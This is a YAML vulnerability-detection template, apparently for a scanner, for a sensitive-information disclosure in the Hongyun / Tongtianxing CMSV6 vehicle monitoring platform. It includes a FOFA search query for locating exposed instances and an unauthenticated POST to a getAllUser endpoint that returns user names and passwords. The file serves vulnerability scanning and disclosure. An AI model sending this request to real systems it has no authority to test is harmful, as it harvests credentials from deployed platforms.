hongyun-tongtianxing-cms-v6-disclosure: 鸿运(通天星CMSV6车载)主动安全监控云平台存在敏感信息泄露

id: hongyun-tongtianxing-cms-v6-disclosure

info:
  name: 鸿运(通天星CMSV6车载)主动安全监控云平台存在敏感信息泄露
  author: zan8in
  severity: high
  verified: true
  description: |-
    鸿运主动安全监控云平台实现对计算资源、存储资源、网络资源、云应用服务进行7*24小时全时区、多地域、全方位、立体式、智能化的IT运维监控，保障IT系统安全、稳定、可靠运行。鸿运(通天星CMSV6车载)主动安全监控云平台存在敏感信息泄露漏洞。
    fofa: body="./open/webApi.html"||body="/808gps/"
  reference:
    - https://mp.weixin.qq.com/s/6bCT1NqaeiyxzNyNrSEs7w
  tags: hongyun,tongtianxing,cms,disclosure
  created: 2024/02/28

rules:
  r0:
    request:
      method: POST
      path: /808gps/StandardLoginAction_getAllUser.action
      body: json=null
    expression: |
      response.status == 200 &&
      response.headers["content-type"].contains("application/json") &&
      response.body.bcontains(b'"password":') &&
      response.body.bcontains(b'"name":') &&
      response.body.bcontains(b'"id":') &&
      response.body.bcontains(b'"result":0')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.